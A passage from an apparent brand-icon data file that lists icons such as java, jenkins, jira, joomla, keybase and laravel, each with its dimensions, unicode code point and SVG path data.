	"itunes-note": [384, 512, [], "f3b5", "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"],
	"java": [384, 512, [], "f4e4", "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"],
	"jedi-order": [448, 512, [], "f50e", "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"],
	"jenkins": [512, 512, [], "f3b6", "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"],
	"jira": [496, 512, [], "f7b1", "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"],
	"joget": [496, 512, [], "f3b7", "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"],
	"joomla": [448, 512, [], "f1aa", "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"],
	"js": [448, 512, [], "f3b8", "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"],
	"js-square": [448, 512, [], "f3b9", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"],
	"jsfiddle": [576, 512, [], "f1cc", "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"],
	"kaggle": [320, 512, [], "f5fa", "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"],
	"keybase": [448, 512, [], "f4f5", "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"],
	"keycdn": [512, 512, [], "f3ba", "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"],
	"kickstarter": [448, 512, [], "f3bb", "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"],
	"kickstarter-k": [384, 512, [], "f3bc", "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"],
	"korvue": [446, 512, [], "f42f", "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"],
	"laravel": [512, 512, [], "f3bd", "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z"],
	"lastfm": [512, 512, [], "f202", "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"],
	"lastfm-square": [448, 512, [], "f203", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 